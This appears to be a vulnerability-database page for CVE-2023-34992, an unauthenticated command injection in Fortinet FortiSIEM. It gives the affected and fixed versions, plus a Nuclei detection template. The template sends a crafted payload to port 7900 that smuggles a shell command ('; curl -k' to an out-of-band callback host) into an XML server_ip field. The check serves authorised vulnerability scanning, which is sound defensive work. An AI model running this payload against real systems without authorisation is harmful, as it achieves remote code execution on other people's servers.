Fortinet FortiSIEM - Unauthenticated Command Injection

criticalseverity

9.8CVSS score

81.7%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

An improper neutralization of special elements used in an os command ('os command injection') in Fortinet FortiSIEM versions 7.1.0 through 7.1.1, 7.0.0 through 7.0.2, 6.7.0 through 6.7.8, 6.6.0 through 6.6.3, 6.5.0 through 6.5.2, and 6.4.0 through 6.4.3 allows an unauthenticated attacker to execute unauthorized code or commands via crafted API requests.

Impact

Successful exploitation of this vulnerability could allow an unauthenticated attacker to execute arbitrary code on the affected system.

Fix

Upgrade to FortiSIEM version >=6.4.4, >=6.5.3, >=6.6.4, >=6.7.9, >=7.0.3, >=7.1.2

How to confirm it

Send: tcp probe to tls://{{Hostname}}
Positive when: contains in interactsh_protocol "http" AND status 200

Run it with nuclei: nuclei -id CVE-2023-34992 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2023-34992

info:
  name: Fortinet FortiSIEM - Unauthenticated Command Injection
  author: thacien
  severity: critical
  description: |
    An improper neutralization of special elements used in an os command ('os command injection') in Fortinet FortiSIEM versions 7.1.0 through 7.1.1, 7.0.0 through 7.0.2, 6.7.0 through 6.7.8, 6.6.0 through 6.6.3, 6.5.0 through 6.5.2, and 6.4.0 through 6.4.3 allows an unauthenticated attacker to execute unauthorized code or commands via crafted API requests.
  impact: |
    Successful exploitation of this vulnerability could allow an unauthenticated attacker to execute arbitrary code on the affected system.
  remediation: |
    Upgrade to FortiSIEM version >=6.4.4, >=6.5.3, >=6.6.4, >=6.7.9, >=7.0.3, >=7.1.2
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-34992
    - https://www.horizon3.ai/attack-research/disclosures/cve-2023-34992-fortinet-fortisiem-command-injection-deep-dive/
    - https://github.com/horizon3ai/CVE-2023-34992
    - https://fortiguard.com/psirt/FG-IR-23-130
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-34992
    cwe-id: CWE-78
    epss-score: 0.81698
    epss-percentile: 0.99646
    cpe: cpe:2.3:a:fortinet:fortisiem:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: fortinet
    product: fortisiem
  tags: cve,cve2023,fortisiem,network,fortinet,rce,tcp,unauth

variables:
  exploit: '<TEST_STORAGE type="nfs">\n    <server_ip>127.0.0.1; curl -k "{{interactsh_url}}";</server_ip>\n    <mount_point>/test</mount_point>\n</TEST_STORAGE>\n'
  payload: '{{"51000000" + dec_to_hex(len(exploit)) + "0000006f421e4000000000"}}'

tcp:
  - host:
      - "tls://{{Hostname}}"
    port: 7900

    inputs:
      - data: '{{hex_decode(payload) + exploit}}'
    read-size: 2048

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from